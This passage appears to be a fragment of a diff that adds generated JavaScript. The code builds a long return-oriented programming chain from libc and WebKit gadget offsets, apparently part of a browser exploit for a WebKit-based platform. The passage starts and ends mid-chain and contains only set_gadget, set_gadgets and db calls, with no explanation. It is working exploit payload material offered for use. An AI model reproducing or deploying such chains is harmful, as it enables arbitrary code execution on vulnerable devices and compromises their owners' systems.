+libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+471128, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+471112, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+740138, +libc_base+713278, +ropchain+471192, +webkit_base+4687784, +libc_base+713278 +]); +db([4294965220, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+471272, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+471328, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+471424, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964136, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+471512, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+471528, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+471688, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+471720, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+471672, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+471704, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+471880, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+471832, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+471848, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([4, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+471960, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+471976, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+472064, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+472120, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+472248, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+472280, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+472264, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+472440, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+472472, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+472424, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+472456, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+472552, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+472568, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+472648, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+472664, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+472784, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+472768, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964128, 4294967295]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+472856, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([2, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([28, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+473056, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+601152, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+473200, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+473216, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+473184, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+473312, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+473296, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+473408, +webkit_base+4687784, +libc_base+713278 +]); +db([4294965220, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+473488, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+473544, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+473640, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964136, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+473728, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+473744, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+473904, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+473936, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+473888, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+473920, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+474096, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+474048, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+474064, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([4, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+474176, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+474192, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+474280, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+474336, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+474408, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+474464, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278, +ropchain+474568, +webkit_base+4687784, +libc_base+713278 +]); +db([4294964104, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+474648, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+474704, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+474800, +webkit_base+4687784, +libc_base+768796 +]); +db([1, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+474896, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+474912, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+475000, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+475056, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+475184, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+475216, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+475200, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+475360, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+475328, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+475344, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+475456, +webkit_base+4687784, +libc_base+713278 +]); +db([4294964140, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+475568, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+344560, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+475712, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+475728, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+475696, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+475848, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+475832, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964100, 4294967295]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+740138, +libc_base+713278 +]); +db([4294964100, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+475976, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+475992, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+476152, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+476184, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+476136, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+476168, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+476280, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+476264, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+604056, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+476432, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+161664, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+476520, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964100, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+476608, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+476624, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+476784, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+476816, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+476768, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+476800, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+476896, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+476912, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+477008, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+476992, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+477104, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+477248, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+477264, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+477232, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +webkit_base+47019, +libc_base+232261, +libc_base+713278, +ropchain+477440, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+477456, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+477424, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+477584, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+477616, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+477600, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+477728, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+477720, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+477744, +ropchain+478208, +libc_base+388400, +libc_base+713278, +ropchain+477800, +webkit_base+4687784, +libc_base+768796 +]); +db([1, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([1, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+477944, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+477960, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+477928, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+478064, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+478080, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+478200, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+478184, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+740138, +libc_base+713278, +ropchain+478264, +webkit_base+4687784, +libc_base+713278 +]); +db([4294965220, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+478344, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+478400, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+478496, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964100, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+478584, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+478600, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+478760, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+478792, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+478744, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+478776, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+478952, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+478904, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+478920, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([4, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+479032, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+479048, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+479136, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+479192, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+479320, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+479352, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+479336, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+479512, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+479544, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+479496, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+479528, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+479624, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+479640, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+479720, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+479736, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+479856, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+479840, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964100, 4294967295]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+388400, +libc_base+713278, +ropchain+479968, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+480000, +webkit_base+4687784, +libc_base+768796 +]); +db([1, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([1, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+480120, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+480104, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964064, 4294967295]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+388400, +libc_base+713278, +ropchain+480232, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+480264, +webkit_base+4687784, +libc_base+768796 +]); +db([179179179, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([179179179, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+480384, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+480368, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964056, 4294967295]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+713278, +ropchain+480464, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964056, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+480568, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964100, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+480656, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+480672, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+480832, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+480864, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+480816, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+480848, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+480960, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+480944, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+481056, +webkit_base+4687784, +libc_base+713278 +]); +db([4294964140, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+481168, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+359952, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+481288, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964056, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+481376, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+481392, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+481520, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+481536, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+481504, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +libc_base+350006, 